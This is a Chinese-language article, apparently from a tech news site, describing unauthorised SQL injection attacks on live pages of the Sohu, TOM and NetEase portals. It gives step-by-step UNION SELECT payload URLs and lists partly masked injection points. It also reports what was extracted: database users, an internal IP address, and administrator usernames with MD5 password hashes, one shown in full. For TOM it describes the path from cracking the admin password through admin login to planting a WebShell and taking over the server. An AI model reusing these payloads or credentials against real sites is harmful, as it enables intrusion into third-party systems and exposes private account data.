對搜狐、網(wǎng)易和TOM三大門戶網(wǎng)站的SQL注入漏洞檢測
筆者對搜狐及TOM和網(wǎng)易這三大門戶網(wǎng)站作了注入攻擊檢測,發(fā)現(xiàn)同樣存在明顯的注入漏洞,安全性很糟糕。
1.MySQL注入檢測搜狐門戶網(wǎng)站
首先,來看看搜狐網(wǎng)站,搜狐網(wǎng)站上的動態(tài)網(wǎng)頁大部分是采用PHP語言編寫的,同樣注入也很多。例如:
http://app.sh.sohu.com/lo***l/s.php?id=636
這個網(wǎng)頁是一個歐萊雅廣告頁面,未對提交的數(shù)字參數(shù)進行檢測,可直接利用SQL注入獲得當前數(shù)據(jù)版本、庫名、用戶等信息。首先,通過Order by查詢獲得字段數(shù)目為9,然后通過union select查詢可獲得數(shù)據(jù)庫的各種信息(圖1):
http://app.sh.sohu.com/lo***l/s.php?id=636 and 1=2 union select 1,2,group_concat(user(),0x7C7C,version(),0x7C7C,database()),4,5,6,7,8,9
圖1 搜狐網(wǎng)站SQL注入查詢數(shù)據(jù)庫信息#p#
可得到當前數(shù)據(jù)庫用戶名為admin,數(shù)據(jù)庫服務(wù)器地址為10.10.82.159,數(shù)據(jù)庫版本為Mysql 5.0.27,當前數(shù)據(jù)庫名為sohush。
再進一步檢測,發(fā)現(xiàn)其中存在幾個非常重要的數(shù)據(jù)庫,包括:dvbbs、love008。前者是論壇數(shù)據(jù)庫,后者是2008專題數(shù)據(jù)庫。在論壇數(shù)據(jù)庫中,可猜解出管理員賬號和密碼為:jim、4591b******ee2b5。在love008數(shù)據(jù)庫中猜解出兩個管理員用戶和密碼分別為(圖2):
admin 21232f297a*****743894a0e4a801fc3
es 3e4a632cb*****8fc2386fa5f8e4bd76
圖2 猜解出管理員賬號與密碼#p#
雖然說管理員密碼都是MD5加密的,不過現(xiàn)在網(wǎng)上有20G的彩虹表下載,破解這些普通密碼MD5值并不是太困難的事情。通過后臺登陸,攻擊者可以想方設(shè)法上傳WebShell并進行提權(quán)與進一步滲透入侵操作。
此外,在搜狐網(wǎng)站中還有非常多的SQL注入點,舉例如下:
注入點1(圖3):http://card.money.****.com/yh/card_product.php?id=71
注入點2:http://blog.club.****.com/list_diary_detail.php?artid=43761&db=blog002P4&kindid=3403
注入點3:http://blog.club.****.com/list_diary.php?db=blog001P3&kindid=529
注入點4:http://mini***.163.com/2009/0909/wuliangye/article.php?id=13
注入點5:http://blog.club.****.com/list_diary.php?db=blog001P3&kindid=529
注入點6:http://people.business.****.com/person/plist.php?userid=2047
注入點7:http://minisite.it.****.com/minisite/site849/photodetail1.jsp?corpID=849&status=browse&privCode=04&pictureID=57275
注入點8:http://zj.svip.****.com/news/2010/duanxindasai/item_list.php?category_id=1905
圖3 搜狐注入點查詢數(shù)據(jù)庫信息#p#
2.MySQL注入檢測TOM門戶網(wǎng)站
TOM也是國內(nèi)一大門戶網(wǎng)站,在對TOM門戶網(wǎng)站進行檢測的過程中,也發(fā)現(xiàn)了許多嚴重的SQL注入漏洞,而且危害性非常大,直接導致攻擊者登陸后臺上傳木馬獲得WebShell,并進一步控制整個網(wǎng)站服務(wù)器!
TOM網(wǎng)站的注入點地址為:
http://qd**.tom.com/blog_content.php?blogid=482
直接用Order by進行查詢時,會出錯并跳轉(zhuǎn)到網(wǎng)站首頁,可使用--終止符號進行隔斷處理,執(zhí)行如下查詢:
http://qd**.tom.com/blog_content.php?blogid=482 order by 14--
返回正常頁面,得到字段數(shù)為14。再執(zhí)行如下查詢(圖4):
http://qd**.tom.com/blog_content.php?blogid=482 and 1=2 union select 1,2,3,group_concat(user(),0x7C7C,version(),0x7C7C,database()),4,5,6,7,8,9,10,11,12,13,14%20--
圖4 union聯(lián)合查詢獲得數(shù)據(jù)庫相關(guān)信息#p#
得到當前數(shù)據(jù)庫版本、數(shù)據(jù)庫名和用戶。再爆出當前數(shù)據(jù)庫中的所有表名,提交如下查詢:
http://qd**.tom.com/blog_content.php?blogid=482 and 1=2 union select 1,2,3,4,group_concat(table_name),5,6,7,8,9,10,11,12,13,14 from information_schema.tables where table_schema=database()--
圖5 查詢到所有表名
在頁面返回信息中,即可得到所有表名(圖5)。在其中有名為adminuser的表名,表中很可能包含了管理員賬號及密碼,查詢該表中的列名,可提交如下查詢:
http://qd**.tom.com/blog_content.php?blogid=482 and 1=2 union select 1,2,3,4,group_concat(column_name),5,6,7,8,9,10,11,12,13,14 from information_schema.columns where table_name=(0x61646D696E75736572)--#p#
圖6 返回用戶名及密碼數(shù)據(jù)列
從頁面返回信息中,可以看到用戶名及密碼列為username和pw(圖6)。現(xiàn)在要爆出用戶名和密碼的數(shù)據(jù)值,提交如下查詢語句:
http://qd**.tom.com/blog_content.php?blogid=482 and 1=2 union select 1,2,3,4,group_concat(username,0x7C,pw),5,6,7,8,9,10,11,12,13,14 from adminuser--#p#
圖7 獲得管理員賬號密碼信息
從返回的頁面信息中,可看到管理員用戶名為qdjxlq,密碼為3631137b9b0e47608c4ece9decc9a607(圖7)。密碼是經(jīng)過MD5加密的32密文,破解并不是很困難。得到后臺管理員賬號密碼后,再尋找后臺登陸地址,得到后臺登陸鏈接地址為(圖8):
http://qd**.tom.com/admin/admin_login.php
圖8 管理員后臺登陸頁面
登陸后臺獲得WebShell后,就可以進一步入侵控制服務(wù)器并進行滲透攻擊。#p#
3.MySQL注入檢測網(wǎng)易門戶網(wǎng)站
在對國內(nèi)其它門戶網(wǎng)站進行檢測時發(fā)現(xiàn),有許多網(wǎng)站也同樣存在著SQL注入漏洞,例如在網(wǎng)易中存在如下注入點鏈接地址:
http://min****e.163.com/2009/0909/wuliangye/article.php?id=13
通過order by查詢可得到字段數(shù),再通過提交如下查詢:
http://min****e.163.com/2009/0909/wuliangye/article.php?id=13%20and%201=2%20union%20select%201,database(),user(),version(),5,6,7,8
即可得到數(shù)據(jù)庫版本、用戶名和數(shù)據(jù)庫名信息(圖9)。由于數(shù)據(jù)庫為Mysql 4.0版本,因此不能直接爆出數(shù)據(jù)表名,只有靠字典一個個進行猜解,猜解起來比較麻煩。
圖9 網(wǎng)易注入點猜解示例
【編輯推薦】
- “SQL注入”的前世今生和防御思路
- 對利用Linq清除Sql注入式攻擊的深入解剖
- 如何斬斷SQL注入式攻擊的瘋狂魔掌?
- PHP+MySQL注入導出文件的新發(fā)現(xiàn)-附帶IPB2的漏洞利用